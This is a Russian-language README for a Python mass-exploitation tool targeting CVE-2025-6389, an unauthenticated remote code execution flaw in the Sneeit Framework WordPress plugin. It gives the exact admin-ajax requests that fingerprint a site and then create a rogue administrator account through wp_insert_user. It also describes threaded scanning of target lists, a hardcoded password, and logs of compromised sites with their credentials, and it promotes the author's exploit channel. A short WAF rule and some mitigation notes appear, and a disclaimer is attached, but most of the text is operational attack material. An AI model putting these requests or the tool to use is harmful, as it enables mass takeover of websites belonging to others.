
Sneeit Framework <= 8.3 - Неаутентифицированное удаленное выполнение кода в sneeit_articles_pagination_callback
Sneeit Framework <= 8.3 — Неавторизованное удаленное выполнение кода в sneeit_articles_pagination_callback
_______ ________ ___ ___ ___ _____ __ ____ ___ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| / /|___ \ / _ \ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ / /_ __) | (_) | (_) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
| |____ \ / | |____ / /_| |_| / /_ ___) | | (_) |__) | (_) | / /
\_____| \/ |______| |____|\___|/____|____/ \___/____/ \___/ /_/
📡 Не пропустите следующий сброс. Следите за @KNxploited в Telegram — главным каналом для свежеобнародованных CVE, рабочих эксплойтов и элитных исследований безопасности. Первыми узнаете. Первыми действуете.
CVE-2025-6389 — это критическая уязвимость удаленного выполнения кода с рейтингом CVSS 9.8, обнаруженная в плагине Sneeit Framework для WordPress.
Ошибка находится в функции sneeit_articles_pagination_callback(), которая слепо передает вводимые пользователем данные в PHP-функцию call_user_func() — неавторизованный злоумышленник может вызывать любую PHP-функцию с произвольными аргументами, включая wp_insert_user, что фактически даёт им полный доступ администратора или возможность выполнять любой серверный код.
Основная причина — неправильное использование PHP-функции call_user_func() в AJAX-обработчике плагина:
// Зарегистрировано без проверки аутентификации
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');
function sneeit_articles_pagination_callback() {
$callback = $_POST['callback']; // ← Имя функции, контролируемое пользователем
$args = json_decode(stripslashes($_POST['args']), true); // ← Аргументы, контролируемые пользователем
// Вызов ЛЮБОЙ PHP-функции с ЛЮБЫМИ аргументами — нулевая валидация
$result = call_user_func($callback, ...$args);
echo $result;
die();
}
Почему это критично:
wp_ajax_nopriv_* = доступен любому, без входа в системуcall_user_func($callback, $args) = произвольный вызов функцииvar_dump, system, wp_insert_user, eval или любую другую PHP/WordPress-функциюШаг 1 — Разведка / Определение отпечатка
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = var_dump
args = ["test"]
Ожидаемый ответ → array(1) { [0]=> string(4) "test" }
↓
Подтверждение: call_user_func() доступна и отражает вывод
──────────────────────────────────────────────────────────────────
Шаг 2 — Создание учётной записи администратора
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = wp_insert_user
args = {"user_login":"Nxploited_XXXX",
"user_pass":"xplpass",
"user_email":"...",
"role":"administrator"}
Результат → На целевой системе незаметно создана новая учётная запись администратора
↓
Полный доступ к панели администратора WordPress достигнут ✔️
pip install requests rich
| Зависимость | Назначение |
|---|---|
requests | HTTP-запросы с поддержкой сессий/прокси |
rich | Живая панель в терминале, панели, прогресс |
Требуется Python 3.8+. Подсказки типов используют синтаксис
tuple[...], введённый в 3.9+ — для наилучшей совместимости используйте версию 3.9+.
CVE-2025-6389/
├── CVE-2025-6389.py # Основной скрипт эксплойта
├── list.txt # Целевые URL — по одному на строку
├── success_results.txt # Автоматически создаётся: успешные цели + учётные данные
└── debug_responses/ # Автоматически создаётся: сырые ответы сервера для отладки
└── <цель>.resp.txt
Создайте файл list.txt с одним URL на строку:
https://target1.com
https://target2.com
http://target3.com
URL без
http://илиhttps://автоматически дополняются префиксомhttp://.
python CVE-2025-6389.py
Вас спросят:
Имя файла с целями (по умолчанию list.txt): list.txt
Количество потоков (по умолчанию 10): 20
Скрипт запускает панель Rich в реальном времени, отображающую:
┌─────────────────────────────────────────────────────────────────────┐
│ [ASCII BANNER] │
├──────────────────────────────┬──────────────────────────────────────┤
│ Информация │ Статистика │
│ Использование: поместите... │ Всего целей: 150 │
│ Потоки: 20 │ Обработано: 87 │
│ Пароль: xplpass │ Успехов: 12 │
│ Журнал успехов: success... │ Неудач: 75 │
│ Папка отладки: debug... │ Прошло: 00:01:43 │
├──────────────────────────────┴──────────────────────────────────────┤
│ Последние результаты │
│ Время Цель Результат │
│ 14:23:01 https://victim.com SUCCESS │
│ 14:23:03 https://example.net FAIL │
└─────────────────────────────────────────────────────────────────────┘
Успешные эксплойты сохраняются в файл success_results.txt:
https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]
Отладочные ответы (для неудачных целей) сохраняются в папке debug_responses/:
debug_responses/
└── https___victim.com.resp.txt ← Сырой ответ сервера для анализа
Эксплойт генерирует следующую сетевую сигнатуру — полезна для защитников и авторов правил WAF:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=sneeit_articles_pagination&callback=<ФУНКЦИЯ>&args=<JSON>
Правило WAF / IDS (псевдокод):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALERT
Если вы владелец сайта, разработчик или защитник, немедленно примите следующие меры:
call_user_func()admin-ajax.php на уровне WAF/брандмауэраsneeit_articles_paginationДАННЫЙ ИНСТРУМЕНТ ПРЕДОСТАВЛЕН СТРОГО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ,
АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ НА ПРОНИКНОВЕНИЕ И ИССЛЕДОВАНИЙ БЕЗОПАСНОСТИ.
Загружая, запуская или изменяя этот скрипт, вы явно соглашаетесь:
• У вас есть ЯВНОЕ ПИСЬМЕННОЕ РАЗРЕШЕНИЕ от владельца каждой
тестируемой системы. Без исключений.
• Вы работаете в контролируемой лабораторной среде или в рамках
формально согласованного и авторизованного задания.
• Вы НЕ будете использовать этот инструмент против любой системы,
сети или инфраструктуры, на тестирование которых у вас нет
законного разрешения.
• Nxploited и все участники НЕ НЕСУТ НИКАКОЙ ОТВЕТСТВЕННОСТИ за
любое несанкционированное использование, ущерб, потерю данных,
судебные иски или уголовное преследование, возникшие в результате
использования данного инструмента.
Несанкционированное использование этого эксплойта является уголовным
преступлением в соответствии с:
— Законом о компьютерном мошенничестве и злоупотреблениях (CFAA), США
— Законом о неправомерном использовании компьютеров (CMA), Великобритания
— Директивой ЕС 2013/40/EU об атаках на информационные системы
— И всеми эквивалентными национальными и международными законами
о киберпреступлениях.
ИСПОЛЬЗУЙТЕ ОТВЕТСТВЕННО. ХАКАЙТЕ ЭТИЧНО. РАСКРЫВАЙТЕ ОТВЕТСТВЕННО.
| Псевдоним | Nxploited (Khaled Alenazi) |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Следите за @KNxploited в Telegram Канал, где реальные эксплойты появляются первыми — CVE, zero-days, PoC и углублённые исследования уязвимостей. Регулярно обновляется. Будьте на шаг впереди.
| Поле | Детали |
|---|
| CVE ID | CVE-2025-6389 |
| Плагин | Sneeit Framework (sneeit-framework) |
| Затронутые версии | Все версии до 8.3 включительно |
| Тип уязвимости | Удалённое выполнение кода (RCE) |
| Вектор атаки | Сеть — аутентификация не требуется |
| Оценка CVSS 3.1 | 9.8 CRITICAL |
| Вектор CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Последствия | Полный компромисс сервера / захват админа |
| Исследователь | Nxploited |
threading | Одновременная обработка нескольких целей |
queue | Потокобезопасное распределение целей |
| Запрос | По умолчанию | Описание |
|---|
| Файл с целями | list.txt | Файл, содержащий целевые URL |
| Количество потоков | 10 (макс: 200) | Параллельные рабочие — увеличьте для массового сканирования |
| Пароль | xplpass (зашит) | Пароль для создаваемых учётных записей админа |
| Формат имени | Nxploited_XXXX | Автоматически генерируется со случайным 4-значным суффиксом |